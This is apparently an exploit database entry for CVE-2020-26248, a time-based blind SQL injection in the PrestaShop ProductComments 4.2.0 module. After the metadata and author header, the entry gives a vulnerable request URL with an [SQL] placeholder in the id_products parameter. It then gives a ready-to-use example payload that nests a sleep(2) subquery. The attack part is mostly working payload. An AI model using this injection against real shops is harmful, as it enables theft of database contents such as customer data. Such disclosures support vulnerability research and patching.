PrestaShop ProductComments 4.2.0 - 'id_products' Time Based Blind SQL Injection

Author: Frederic ADAM
type: webapps
platform: php
port: 
date_added: 2020-12-16 
date_updated: 2020-12-16 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: PrestaShop ProductComments 4.2.0 - 'id_products' Time Based Blind SQL Injection
# Date: 2020-12-15
# Exploit Author: Frederic ADAM
# Author contact: contact@fadam.eu
# Vendor Homepage: https://www.prestashop.com
# Software Link: https://github.com/PrestaShop/productcomments
# Version: 4.2.0
# Tested on: Debian 10
# CVE : CVE-2020-26248

http://localhost/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=[SQL]

Example:
http://localhost/index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(2)))a)